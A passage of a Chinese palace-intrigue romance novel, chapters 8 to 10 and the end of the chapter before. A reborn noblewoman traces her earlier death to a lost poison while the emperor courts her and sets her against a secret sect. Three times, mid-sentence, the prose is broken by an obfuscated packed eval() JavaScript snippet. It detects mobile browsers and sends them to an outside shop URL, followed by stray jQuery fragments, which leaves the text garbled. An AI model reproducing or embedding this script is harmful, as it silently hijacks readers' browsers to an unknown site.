柳玉昭素手轻抬,把熟稔于心的佛经合上。
既然无路可退,那便进吧。
反正这一世本就是凭空多得的。
她闭眼,看见病重后期自己形销骨立的身形在镜中晃动,那时她已提不起力气去恨、去怨。
若自己的死真是计划好的一环。
柳玉昭想,或许某个纠缠烂打的人可以帮她。
——
回到柳府,继母孔氏见只有她一人,瞧她鼻子不是鼻子眼睛不是眼睛的。
“姑爷呢?姑爷都没回来,你好意思进柳家大门?”
柳玉昭:“柳府是我家,为何要在外人陪同下才能回?”
她习以为常忽视继母狰狞的表情,弯腰揉了下继妹的脑袋。
柳玉芳错开她的手,脚底抹油跑去柱子后。
孔氏还没见过她这副嚣张的态度,往日柳玉昭见了自己无不是温顺恭敬,从不反抗半句。
果真是飞上枝头心野了。
她阴阳怪气道:“世子妃说得是。”
除了柳家,谁都知道柳玉昭世子妃的名头有多水。
柳玉昭也不争辩,问道:“父亲呢?”
今日休沐,就算再不关心她这个女儿,按理来说也该见一面。
孔氏闻言,眉间出现愁绪,“大理寺一早来人喊了你父亲前去,说是要查一桩陈年悬案,老爷饭都没来得及用,套马便走了。”
“京城都多少年不曾有大案子,你说稀奇不稀奇?”
孔氏瞧她轻狂样,身边连仆妇都没想象中多,带回柳府的回门礼普通得不行,边打开箱子边指指点点。
“什么穷酸货色,怎么不带点好东西给我和你父亲,尽捡些没人要的!”
柳玉昭坐在一旁平静喝茶,仿佛听不见孔氏的话。
孔氏看她这样,恨铁不成钢。
少说柳玉昭也是柳府出去的姑娘,她眼中高嫁的金饽饽。
她骂骂咧咧走进内室,扯了本不足巴掌大小的册子用手帕裹着,偷偷塞进继女手里。
“好生学着,你父亲的升官路就靠你了!”
——
安北侯府的马车驶过东市,传来熙熙攘攘的叫卖声。
柳玉昭以手支颐,想着孔氏的话,一时没察觉外边的声音渐渐弱下来。
至于孔氏给的册子?出门找了个没人的拐角顺手扔了。
自从禁卫司出现后,大理寺手里的权力被分散,有关京中的案子便不归大理寺管了。
突然急召,只可能是上头来了案子。
上头?上头!
柳玉昭忽然想起他们上头的那位,不正是陛下吗!
陛下昨儿正巧问她甘不甘心,今儿就调走了她父亲,柳玉昭绝不相信这只是巧合。
他到底想做什么?
柳玉昭皱眉,细思慢捋自己和那人的关系,可无论怎么想,他们都是两条不交错的平行线。
她不相信不近女色的帝王会因一面之缘看上自己,更不相信他好心到公私不分,因女子重启民间悬案。
更何况,背后隐藏的势力事关皇室丑闻。
麻衣教——
相传与前朝牵扯不清。
“小姐,仁世堂到了。”
出于彼此心知肚明的原因,李妈妈不再称呼她夫人。
柳玉昭的思绪被李妈妈打断,她戴上车上备好的帷帽,扶着李妈妈的手下车。
看着恭敬不逾矩的李妈妈,她说了句:“妈妈怎么不问我来医馆做什么?”
李妈妈:“主子的事,下人怎好过问。”
柳玉昭盯着她,直到李妈妈惴惴不安以为自己说错话了,才先行一步。
“你很好。”
攀附权贵之人,有时往往比忠仆更好用。
李妈妈心一喜,闻弦歌而知雅意,让其余丫鬟等在外面,自己隔着几步跟着。
柳玉昭特地赶在回门当日来一趟医馆,正是因为她昨夜又梦到前世。
那时她奄奄一息,弥留之际听见大夫说她,脏腑虚,且血气不足,加之风冷侵蚀,恐怕撑不过一月。
她不通医理,大夫断言后群芳苑人手增加不少,都是为了给她送终。
柳玉昭原本想找到当时的神医,但若是此人实为骗子,贺夫人随手派了个人来……
不如找个大夫口述当时的症状。好过大海捞针。
隔着一层帷幕,柳玉昭看着面前皱眉的大夫,轻声道:“敢问大夫,此人可是病入膏肓,无法可治?”
医者抚须,“这……还请小姐再说一遍,容我整理思绪。”
真是奇了怪了,怎么从没见过这样的症状?
柳玉昭垂眸,指甲刺入掌心,她却感知不到疼痛,只是一遍遍回忆着那段狼狈痛苦的记忆。
“起初只是发冷,咳嗽……”
那时群芳苑丫鬟婆子不尽心,福安头两年便被她送出府,听说随夫婿回了扬州做起生意。
柳玉昭扶着墙走到小厨房里,笨拙生火,呛得咳疾愈发严重。
她手脚发冷,内脏却火热,险些以为要随娘亲一并去了。
但再醒来时,她不仅活了下来,风寒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309740|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还大好,就是恍恍惚惚的,总感觉鬼门关走了一遭。
柳玉昭原本以为风寒就这么过去了。
不曾想贺夫人忽然带着许多人来看她,说是已经责罚了不做事的仆妇,以后不敢有人敢轻慢她。
柳玉昭早已看穿贺夫人慈爱下的狠毒,正要回绝,却不料蜂拥而入的小丫鬟们叽叽喳喳的,她微弱的声音被压在层层有力的问好声中。
……
“按小姐的说法,此人风寒已经大好,只需注意修养,何至于无药可救?”
医者声音一顿:“况且后面的症状,与其说是病,更像是毒。”
“行将朽木之人,断不会肌肤白皙、唇如朱丹,相反面色青黑、嘴唇发紫。”
医者看向她,沉声道:“此毒名为七美人,此人当是用量不足,这才撑了月余。不过七美人数十年前已经失传,不知小姐从何处听来?”
柳玉昭留下诊金起身,“听人乱说的罢了。”
“多谢大夫解惑。”
——
仁世堂背靠太医院,常有贵人亲至,柳玉昭躲在拐角处,看到不少挂着世家腰牌的侍卫婢女来往。
等到周围没人,她才脚一拐走向出口。
不过没走几步,她就被一道熟悉的声音吸引,不自觉停下脚步偷听。
“那边的动作藏不住了,你预备何时离京?”
“预计月底有一批‘货’,到时臣藏在路上,可顺着沿途路引追查,摸清是哪些官员参与此事。”
“水路多匪患,我让李岩跟着你。”
“臣谢过陛下。”
柳玉昭没想到会在仁世堂碰上陛下,更没想到会碰上贺凡和他商议秘事。
她小心踩着地板,放低呼吸往前走,假装无事发生。
新帝行事果真放浪不羁,比戏文还荒谬,他不怕隔墙有耳?
“安北侯行事缜密,老实扮演朝臣眼中的昏聩老头,不少人都被他骗了去,进来他似有破绽,恐怕是出了什么变数。”
柳玉昭没忍住,踩着碎步凑近。
内室,裴钦心情极好地看着墙上放大的人影。
贺凡背对着柳玉昭,虽不明白陛下为何要在外谈论这些事,但仁世堂内外都是他们的人,不怕事情泄露。
“此事臣有所耳闻,侯夫人疑心他想换世子是因为养了外室,对府内开支抓得严,查到大管家经常购买大量米面粮食送出去,昨夜与侯爷大吵一架。”
柳玉昭弯了弯唇,贺夫人竟然没装病,恐怕是真的气倒了。
贺凡还在绘声绘色描述:“下人见情况不对,忙去找了歇在群芳苑的世子,贺宣一听大吃一惊,上前拉架却被侯爷顺手打了脸,正会儿正闭门不出呢。”
柳玉昭两眼发亮,心中原本的郁结散去不少,心想她回去可得好好瞧瞧贺宣。
裴钦没笑:“贺宣不是一直与他母亲住在一处?”
侯府世子宛若长不大的婴孩,事事过问母亲,贺宣早就被贺夫人养废了。
贺凡迟疑,女子私事,他总不好多议论。
但陛下笑得让人胆寒……
“世子与世子妃感情不好,侯爷要求两人须住在一处。”
出于直觉,贺凡补充道:“但臣以为,侯爷只是为了转移贺夫人的注意。贺夫人宠溺独子,如此便会时时刻刻盯着群芳苑,他自己则腾出手来继续收买人手。”
裴钦唇角下撇,“知道了。”
他转头对空无一人的角落说道:“请柳姑娘进来。”
“贺凡,你下去。”
8. 第 8 章
柳玉昭一听,就知道裴钦早就发现了她。
她回头看李妈妈,李妈妈正被一个侍卫模样的人拦在外头。
前方的木门已打开,贺凡颇为惊疑地看了眼柳玉昭,才转身离去。
对她来说,里面的人比财狼虎豹还可怕。
柳玉昭慢慢呼出一口气,提着裙摆走进屋内。
她没关门,但还没坐下,身后的门便关上了。
注意到她连一根头发丝都写着拒绝,裴钦挽袖煮茶,凌厉的眉眼藏起痞气,换了副谦谦君子的模样。
“柳姑娘莫怕,我只是想请你喝杯茶。”
这话说得真让人发笑,柳玉昭坐下不应答,颇为无礼地端起茶盏,并未入口,只是反复摩挲茶盏。
宁静的氛围中,裴钦率先打破平静,端起茶水一饮而尽。
说实话,他没尝出味道。
裴钦虽然长得人模人样,但长相都是遗传娴妃的。
用他自己的话来说,他就是个粗人,懒得装君子。
不过现在裴君子心情不大好,尤其是注意到心上人宛若惊弓之鸟,恨不得离他一射之远。
裴钦笑得更难看了。
“姑娘怕我下毒?”
裴钦道:“父皇在世时爱用七美人,他生性暴戾喜怒无常,七美人因能让死者保持生前最完美的状态而得名。”
他漆黑的眼瞳直直盯着透明的帷幕,似要穿透一层薄纱看见里面人的想法。
“不过七美人十几年前就已被下命销毁,黑市暗中交易的多为假货,服用者死状凄惨,令人不忍。”
柳玉昭掌心的指印发烫,一种前所未有的窥视感笼罩着她。
面前人的眼睛宛若一张黑密的网,明知他看不清自己,柳玉昭还是转头端起茶盏,放到嘴边假意喝了一口,实则浸湿帕子拿出去。
柳玉昭仍不说话,裴钦也不恼,拍手示意外边人把东西送进来。
侍卫丫鬟鱼贯而入,很快便在两人中间的小桌上堆满吃食。
柳玉昭注意到这些都是路边小贩叫卖的那些,包括那日曾出现在她房中的糖画。
裴钦:“大婚之日,我见姑娘的目光在这些东西上停留许久,想来有三分喜爱。”
他从袖中取出匕首,切好一块薄薄的肉饼,摆在盘中递到她面前。
“姑娘今日回门时柳大人不在,未用午膳便来仁世堂,不知可是身体有恙?”
柳玉昭抬头,对上他饶有兴味的双眼。
他明明什么都知道,却还是暗戳戳试探她,逼得她缩不回乌龟壳里。
“多谢陛下关怀,只是好奇。”
她的嗓音有些哑,帷幕下紧张的双手攥紧袖子,打湿的帕子沿着指尖蔓延,氤氲潮湿的水汽。
裴钦不疾不徐,又给她倒了一杯茶。
这次,在他强势的目光下,柳玉昭端起茶盏,一口饮尽。
“回味清冽,唇齿留香,确是好茶。”
柳玉昭接着抬手,用木筷夹起切好的肉饼、野鸭肉、杏片……
两人就这样一个吃,一个服侍。
若是忽视天差地别的身份,倒也相得益彰。
腹中已有八分饱,柳玉昭正要停筷,就见男人端起一个汤碗,分了一点汤盅里的冰雪冷元子,摆到她面前。
柳玉昭沉默着伸手接过。
粗粝的指节和纤长柔软的指腹交错,一个滚烫,一个冰凉。
柳玉昭瑟缩了下手指,并未避开。
裴钦轻笑,似乎能看穿她沉默外表下的起伏。
“放心,我让侍卫提前去买的,绝对干净。”
冷元子只浅浅铺了层碗底,柳玉昭用完抬头,正见他毫不介意吃着桌上剩下的“残羹冷炙”。
夏日暑气渐长,此处还算清凉,柳玉昭眼尖看见墙角立着块化了一半的冰。
她不欲多言,再度垂眸看着衣角,似乎那里有什么东西在吸引她。
裴钦当然不会忽视她的举动。
或者说,他毫无意外柳玉昭的态度。
他解下腰间的玉佩递过去。
柳玉昭条件反射性伸手,却在指腹触及温润玉感时猛地缩手,挥袖再退一步。
用行动表明自己的态度。
“柳玉昭,”裴钦唤她的名字,平视朦胧白纱后的女郎,“朕昨日说不再强求,自然是假的。”
如愿看到心上人变了脸色,裴钦压下上扬的唇角。
“但有一点做不得假。”
他的语气严肃起来,柳玉昭此时才真真正正见到传说中的帝王模样。
锦衣玉带,容色逼人的权贵问她:“你出身扬州崔氏,祖上曾做过太子太傅,当年柳曲文哄骗你娘亲,崔大人虽无可奈何,但也拗不过女儿,含泪嫁女。”
“谁曾想,这反而成为活命的关键。”
柳曲文能力平庸,骗得钱财后为攀上上司,假称自己没有妻子。
但谁曾想就在议亲之时,上司倒台,他当即翻脸不认人,为保名声,声称乡下有一糟糠之妻。
柳夫人这才一无所知地被接过来。
“麻衣教乃前朝余孽,与当前宗室亦有所牵连,相关者无不殒命。”
他说着自己都不相信的鬼话,眉眼动容,仿佛心生怜悯。
“朕怜你孤苦,纵使你非朕爱慕之人,朕也不愿让扬州牧一家冤死,生者不得宁日。”
“柳玉昭,”裴钦再唤她,他起身走进,坐在她的身侧,这次柳玉昭没有回避。
隔着薄纱两人视线交错,似是两情相悦。
可细看来,一人略有玩味,一人凉薄如冰。
“朕允你三百暗卫,凭此令可自由出入宫闱,无论你遇到什么麻烦,都可来寻我。”
良久,裴钦听到一声微弱的女声。
“臣,多谢陛下。”
——
啧,心真脏。
柳玉昭斜靠在马车上,掌中翻看着赤红丝络的龙纹玉佩。
经过此人三番两次的纠缠,她对裴钦最后一点尊敬也荡然无存了。
他的行径和轻浮浪荡子有甚区别?
柳玉昭想到他故意附在自己耳边说的话,顿觉腹中黏腻恶心。
“安北侯正是麻衣教埋伏在京中的钉子,我已让贺凡盯梢,发觉他行事缜密,连枕边人都不知晓他的秘密。”
“麻衣教的下一步行动是安插人手参与春闱,在朝堂占据更大的势力。”
“在此之前……安北侯负责拿到春闱的考题。”
怪不得上辈子贺宣能拿到春闱试题,原来是被安北侯算计了。
这样事发的时候,他自认一心为子,谁能把他和麻衣教扯上关系?
只是——一想到麻衣教,柳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309741|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玉昭有种说不出的怪异感。
一股不入流的势力而已,为何众人三缄其口,京中更少有人提及?
前世她去世后到底发生了什么?
贺兰珠又是怎么知道麻衣教的?福安为何会与麻衣教有关?
她取下帷帽掀起马车窗帘,市井热闹的烟火气给了柳玉昭真实感,她情不自禁弯唇。
直到舒展的眉眼对上一张熟悉的面孔。
柳玉昭迅速放下小窗帘,心脏忍不住砰砰直跳。
是姜恒,她绝对不可能认错!
姜恒为何会来京城?他不是正在凤州读书吗?
去岁两人通信时,姜恒告诉她,老师认为以他的才学,定能位列三甲,望她宽心。
柳玉昭猛然想起明年春闱藏着的祸事,正要下车告知姜恒,却在掀起车帘时对上李妈妈恭敬的面孔。
“小姐,快到侯府了。”
她蓦然没了力气,沉默点头后合上车帘。
从铤而走险与虎谋皮的那一刻起,她就没了自由,裴钦的人手会无时无刻盯着她。
她不能给姜恒带去麻烦。
想到这里,柳玉昭强忍追寻的视线,别过头不再看姜恒的方向。
——
仁世堂,裴钦坐在原地。
过了许久,李岩快步走进,道:“回大人,属下跟着柳姑娘的马车一路回到侯府,并未见到可疑人等。”
裴钦摩挲着掌中巴掌大的小书,若是柳玉昭在场,便会发现这是继母孔氏离开时递给她的。
“麻衣教下手狠辣,向来不留活口,这么多年唯独活了个柳玉昭,定有乾坤。”
他起身走到窗边,“黄宜成怎么说?”
李岩:“柳大人左右逢源,京兆府内积压事务虽多,但无人对他有怨言。”
黄大人的原话是,奸佞小人,无足轻重。
裴钦挑眉:“黄宜成什么时候说话这么委婉了?”
要知道他拖着大臣下去打的时候,黄宜成可是干了御史的活,冲上来拼命拦住,仿佛下一秒就要血溅当场。
李岩慢吞吞把剩下的话补上了。
裴钦当即笑开:“老东西有种!连朕的岳父也敢骂!”
这话说得颇有几分真心实意,李岩不敢接。
裴钦摆手:“换慕三娘去跟着柳姑娘,告诉慕三娘,一切听从柳姑娘命令。”
李岩:“是。”
仁世堂院内水清,裴钦走到池边,捋袖弯腰捉了条鱼,待到掌心水流尽时,才慢悠悠将它放回池中。
“柳玉昭啊柳玉昭,你在其中又扮演了怎样的角色?”
“莫不要让朕失望的好。”
裴钦想,他是真的喜欢这个姑娘。
但柳昭微身上缠绕的迷点太多,一个要成为他妻子的姑娘,她能出入朝堂,能与他平起平坐。
但千不该万不该,与麻衣教扯上关系。
她想要跳出棋盘,想要摆脱被安排好的命运。
光有他的帮助可不行。
李岩站在后面,心里越想越不对劲。
陛下这追姑娘的法子……是不是有点儿奇怪?
裴钦忽而想起一回事,转身道:“七美人多年不曾现世,知情者悉数被灭口,她对对症状如数家珍。”
“让慕三娘留意柳玉昭身边的人,说不定能发现惊喜。”
9. 第 9 章
但主子们的事,何时轮到下人置喙?
李岩守在陛下身边,充当一根老实的柱子。
裴钦:“至于安北侯世子,朕记得他似乎有一个心上人?此刻正住在侯府?”
李岩:“正是,不过这位表小姐如今被说与户部侍郎的六子,两个月后出嫁。”
陛下让他调查柳姑娘,李岩有备无患,把周围一圈人都摸了个遍。
“不过,”李岩吞吞吐吐起来:“据看着侯府的探子来报,表小姐突然私下变卖不少衣服首饰,疑似……”
裴钦看向他,“哦?”
李岩:“出逃侯府。”
裴钦:“柳姑娘不知道?”
她夫君要和心上人私奔,她居然一无所知?
李岩:“表小姐是独自一人离开,安北侯世子并不知情,柳姑娘似乎知道此事。”
说着,他将那晚侯府的动静如实描绘了一番。
“不过当时柳姑娘和表小姐离得太近,暗卫没分辨出她们说了什么。”
裴钦:“这倒是桩稀奇事。”
就算柳玉昭她无心贺宣,但又为何会与心爱世子的表姑娘交好?
两人从未见过,相处不过短短几个时辰,竟表现得宛若挚友般惺惺相惜。
“正好以此事探探她的脾气。”
裴钦吩咐下去:“让人暗中阻挠这位表小姐,同时让慕三娘不着痕迹提醒柳姑娘,她可是有三百暗卫的人。”
李岩猜不透陛下的想法,抱拳应是。
裴钦:“顺便提醒着点李妈妈,安北侯世子顽劣不堪,如何能影响柳姑娘休息。”
这便是要公然插手夫妻相处了。
李岩领命,见陛下转身逗鱼,才下去回话。
——
李妈妈接过小丫鬟递来的信纸,确认无人发现打开,当即被里面的内容吓一跳。
除了阻挠世子和柳姑娘相处外,陛下另附了一句话。
“须时刻记住,你是忠于李姑娘的人。”
李妈妈眼睛转了几圈,很快想清楚陛下的意思。
在宫里当差最重要的是有一颗七窍玲珑心,主子想到的没想到的,她都得想到。
陛下此刻把姑娘放在心上,她就得真心待姑娘,而不是把自己当成陛下放在姑娘身边的探子。
要知道,如今后宫可是空无一人。
凭陛下对姑娘的看重和离再嫁,少说也得封妃。
李妈妈一时间欣喜若狂,姑娘身边只有一个贴身丫鬟可以信任,这会儿不表忠心更待何时!
她小心用火点燃信件烧毁,等看不出原样了,开门离去。
角落里,福安静静瞧着这一切。
她没有告诉小姐,而是若无其事坐在小姐身后打扇。
群芳苑没有供冰,柳玉昭又不爱去贺夫人处遭人白眼,脱了外衫仅着裹胸亵裤纳凉。
福安轻轻递上一封信,“小姐,姜少爷来信。”
柳玉昭垂着眼,并不看她。
“我已嫁做人妇,烧了。”
福安小声劝她:“小姐,世子心里只有表小姐,就算侯爷勒令他搬来群芳苑,也只待在客房,大婚以来见面的次数少得可怜。”
“您何必为了一个负心薄幸的男子,苦守空房呢。”
本朝女子管束宽松,和离再嫁,贵妇人丧夫养宠,都是常有的事情。
福安神色不忍,“小姐,福安不想见您孤苦无依。”
所以便要诱着她偷.情么?
柳玉昭心里帮她接上话,眉眼疏离,静静看着福安,长久才叹一口气。
福安以为她心动了,顿时面露喜色。
“小姐,我去给您研墨。”
她体贴给柳玉昭留出私人空间,怕她不好意思回信。
柳玉昭却想起前世送福安出嫁时,她抱着自己哭个不停,说不舍得小姐,说对不起小姐。
那人是福安自己选的,说是儿时的玩伴。
可惜福安离开后,只有第一个月来信一封,说过得很好,后来便杳无音讯。
细细数来,她与福安,已有七载未曾见过。
柳玉昭忽然生出一股好奇,她想去问问贺兰珠,后面到底发生了什么,为何说福安是麻衣教的人?
可——不能急。
她慢慢展开书信,姜恒的字迹一如既往。
他说母亲身体大好,催促他来京城提前备考,说是怕路上出意外。
谈及婚事,他虽不清楚她的情况,但当初若是没有柳玉昭,就没有如今的他。
姜恒表示,他愿等柳玉昭和离。
“恒不才,无能为柳姑娘解忧。大丈夫立于世间,一为亲一为民,恒踏路前行,知民辛苦,恒日思夜想,却不得所亲之忧。”
“恒心有愧,落笔羞惭。”
……
“恒只愿等一人,世事无常,此心守恒。”
眼前一片模糊,柳玉昭抬手,发觉泪已满面。
姜恒,竟赤诚如斯。
她想不起来,自己前世是否同样收到这样一封坚定不移的信件。
姜恒,姜恒……
可无论怎么回想,她都想不起来有关此人后来的任何记忆。
为何,一片茫然?
——
“姜恒?”
正德殿内,裴钦一系黑色龙纹圆领窄袖袍,推开面前堆叠的奏折,起身几步下台,捡起地上掉落的壶矢,瞄准前方。
“说来听听。”
慕三娘冷着脸,将刚刚见到的情形如实描绘出来。
听到信件内容,裴钦笑骂道:“倒是一个喜欢说好听话的伪君子!”
“你说柳姑娘哭了?”
裴钦心里越想越不得劲,他屈膝没个正形坐在地上,黑发披散在身后,几缕发丝束在一处,别着龙纹后压簪。
他的瞳孔颇为阴冷,玉面含霜,锐利的眼神落在慕三娘身上。
“柳姑娘回了什么?”
慕三娘:“一张白纸。”
裴钦脸上的笑意越张越大,“你说,她是不是已经发现你了?”
慕三娘皱眉:“回陛下,臣未曾出现在柳姑娘身前。”
裴钦心想,就算暗卫不出现,凭白日的对话,她如何猜不到他在她身边安插了人手。
一张空空的信件,正是对他的回答。
“从现在起,你可以出现在她的面前,三百暗卫,她也可随意调用。”
他再次强调:“朕送人给她,不是为了养出一个傀儡。”
张德站在殿内,心知这番话不仅是对暗卫说的。
不过陛下这般大方,就不怕柳姑娘仗着权势,做出无法无天的举动出来?
——
“李妈妈何意?”
柳玉昭以手支颐,福安偷偷出去送信没回来,李妈妈端了碗冰酪酥山进来,屋子里瞬时漫开些许冷气。
看着跪下表忠心的李妈妈,柳玉昭垂着眸。
“妈妈说笑了,我只是一个不受宠的世子妃,侯府没落,如何能有富贵荣华路。”
她把玩着代表权力的龙纹玉佩,赤红丝线缠在腕间,清透的瞳孔浸着看不穿的水光,瞧着危险又可怜。
李妈妈敛眉,她这双眼睛在宫中不知见过多少人,知晓什么样的女子厉害。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309742|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“姑娘身负大造化,事成与否不过看姑娘想不想要,奴跟在姑娘身边,便是一心只为姑娘做事。”
李妈妈抬着眼:“若姑娘需要,奴定为姑娘鞍前马后,忠心不二。”
柳玉昭:“我如何能信妈妈?”
李妈妈心一松,这句话便是要她拿出点证据了,忠心光靠嘴上说可不够。
她起身走进几步,低声道:“陛下昨儿留侯爷在宫里说了好久的话,天黑才放回来,奴打听到,陛下似要削去侯爷的爵位。”
柳玉昭目光一凝,李妈妈的话语无疑表示她已经彻底放弃陛下转投自己,只是——
“妈妈这么说,就不怕惹陛下生气。”
李妈妈:“小姐说笑了,要不是小姐,奴如何能入陛下的眼。”
三分假七分真,要不是陛下授意,李妈妈自然不会胆大包天。
柳玉昭同样心知肚明,“妈妈的话,我记住了。”
“我要妈妈替我去做一件事,”她附在李妈妈耳边,小声说了句话。
“去吧。”
李妈妈眉间掩饰不住激动,“好好好,小姐放心,我这就去!”
待人离开后,柳玉昭平静披上外衫。
真好笑,前世她费心费力待人好,侯府的丫鬟婆子犯了小错,她轻轻放下也没赢得人忠心。
今生只是有人露出一点苗头,身边的人就推搡着要她去偷.情。
柳玉昭理好披帛,对着空空如也的窗台说:“还不出来吗?莫不是要我去请你?”
只是眨了个眼的功夫,案几前凭空出现一道劲瘦的身影,来人抱拳单膝跪地,沙哑的女声似刀锋刮过。
“慕三娘见过主子。”
柳玉昭放下玉佩,“陛下可说过要你来做什么?”
慕三娘蒙着面,柳玉昭只见到她有一双死水般平静的黑眸。
慕三娘:“陛下说,但凭小姐吩咐。”
柳玉昭:“你们对安北侯知道多少?”
左思右想,她准备从安北侯入手调查麻衣教,十几年前的案子查起来毫无头绪,不如直接查幕后黑手。
经过慕三娘的叙述,柳玉昭才知道裴钦登基后开始暗中调查朝中与麻衣教有牵连的人员。
安北侯动静太大,被人推出来当替罪羔羊,麻衣教藏得最深的护身符——主导扬州灭门案和安国大将军私吞军饷一案的人躲在幕后,至今没露出端倪。
柳玉昭:“所以你们一早就查到了我?”
慕三娘道不是,京兆府尹原配在世人眼中只是乡野妇人,陛下调查她的时候才发现柳玉昭竟是崔氏后代。
“他可有悔?”
话一出口,柳玉昭就知道自己问了个蠢问题。
相比对陛下而言,指婚一个小官之女,和赐婚身负血海深仇的弱女子,二者并无差别。
“是我狂妄了。”
柳玉昭仔细回想上辈子的记忆,她曾是掌管侯府的世子妃,后几年侯府更是对她放松了警惕,把她当成透明人。
“慕三娘,安北侯书房里有一条密道,五日后贺夫人小宴,你去摸清书房附近轮班的侍卫,到时候我亲自去。”
说起来,这还得多谢侯爷未来的妾室秦娘子,要不是当时秦娘子吸引住侯爷的视线,无意看见的柳玉昭恐怕那时就得丧命。
“是。”
慕三娘什么都没问,平静领命去了。
柳玉昭看了眼天色,她安排李妈妈透露出去的消息,应当已经递到那人案上。
她对着从廊外走来的福安说:“今日燥热,早些备水。”
“对了,把娘亲留给我的春风醉取来。”
10. 第 10 章
裴钦踏月而来的时候,柳玉昭醉倒伏案,往日端庄清丽的面容染上云霞,带着钩子的眼尾上挑,盈盈双目微颤。
四目相对间,裴钦先败下阵来。
他偏头移开目光,不去看变得艳丽夺目的女郎。
“纵酒伤身。”
裴钦单手掂量了一下半开的酒翁,发觉已经少了一半。
他惊讶看着柳玉昭,没想到她瞧着单薄,酒量倒不浅。
李妈妈传信说她伤怀过度,裴钦不是没怀疑过真假,但出于心底微弱的不忍,他处理完奏折还是来了。
酒香弥漫在群芳苑中,廊外池塘倒映泠泠月光,伴着夏日的花香,裴钦忽然觉得燥热难耐。
他索性提起酒翁,大口吞咽。
裴钦千杯不倒,小小的春风醉下肚,他越喝越清醒。
“为何伤心?可是受了委屈?”
裴钦侧目看她,见到原本趴着的女郎醉醺醺起身,慢悠悠走到廊外坐着,就是不看他。
她身着宽松大袖衫,梳着半披的发髻,整个人落在月光下,与他分开清晰的阴影。
裴钦不恼,一口口喝着酒,他已经多年不曾有轻快的感觉了。
此番在心上人仿佛闹别扭一般的赌气态度下,他重拾了几分少年心性。
裴钦一直以为,自己早就被埋在荒凉的沙场里,四周环顾的是青黑发硬的尸体。
他晃荡没几口的春风醉,一口饮尽,大步往柳玉昭身边走去。
近了才发现她在玩水,碧色披帛垂下,巴掌虚虚拢着,末端一下一下浸着池水。
裴钦进一步,她便退三分,也不说话,只是扭头不看他。
“内务上供了新的浮光锦,颜色与你穿着的这身相近,明日我让人拿来给你裁衣。”
柳玉昭:“陛下说笑了,宫里的东西,我用着不知惹多少人笑话。”
裴钦从未哄过人,生平第一次顺毛,对着看似娇气的小娘子,他连忙顺着话往下说。
“这事简单,我寻个合理的由头,只是一件衣服,谁敢妄言。”
柳玉昭仍不抬头,睫毛扑扇间,清润的泪珠滴落,溅落池中。
裴钦一时间愣在原地,手足无措,空荡荡的酒翁滚落地面,不知哪里惹到她生气。
“玉昭,昭昭儿,可是有了烦心事?”
他皱着眉看向那串泪珠,心想他的姑娘当一直笑着才是,谁惹她不快顺手打发了。
柳玉昭猛然仰头看他,裴钦发现不知何时她已泪流满面,颗颗泪珠沿着下颚滴落,晕染在胸前的碎花前。
糜艳的眼波揉碎端庄自持,往日积压的情感尽数宣泄。
“陛下——裴钦——!”
她厉声高呼他的名字,带着前所未有的愤恨:“只是一件衣服……就如我一般,只是一介弱女子,衣服想送便送,想赐婚就赐婚。”
柳玉昭似是在质问他,又像是在哭诉。
“凭什么!凭什么如斯待我!”
她猛地向他扑过来,裴钦被她硬生生按在廊椅边缘,一个不留神就能翻出去。
柔软的身躯扑在他的怀中,他生不起半分恼怒,只觉心颤,滚烫的泪珠浸染胸膛,似乎要将他的心一齐融了。
前所未有的心绪激荡下,裴钦眼神一时间进退狼狈,不敢看她。
他手掌抓住边缘,用眼神制止想要冲上前的暗卫,声音带着意料之中的释然。
“你果然恨我。”
柳玉昭随意抹去脸上的泪水,声声泣血:“是啊,我恨你,我应该恨你。”
“恨安定侯府,恨幕后凶手,也应该恨你。”
裴钦趁着她脱力,单手反制一只胳膊,少女柔软单薄的身躯勒得他一个恍惚,不自觉放轻力道。
柳玉昭情不自禁抬手,抚上他的眉间。
裴钦被迫对上她的目光,那双眼浸着令他难受的水,亦清晰映照出他的丑陋、不齿。
他的指腹在接连滑落的泪珠下仓皇,却皆掩饰在沉着的面皮下。
裴钦叹道:“你醉了。”
今日他不该来的,情爱如蚀骨毒药,焉知靠得越近不会让他变得面目全非。
柔软白嫩的指腹顺着剑眉下滑,落到深邃含情的凤眼上,柳玉昭微微仰头,在他颤抖的眼皮落下一触即分的吻。
“为何——我要恨你。”
裴钦看着柳玉昭痛苦的双眼,忽然不再抵抗,拥住她被推入池中。
罢了,且纵容一回,又有何妨。
“扑通”一声,柳玉昭被拥着落入水中。
池水不足一人高,裴钦站稳脚便把人扶住,发现柳玉昭还没清醒,大颗大颗泪珠顺着脸颊滚落。
“我恨你,裴钦,我恨你。”
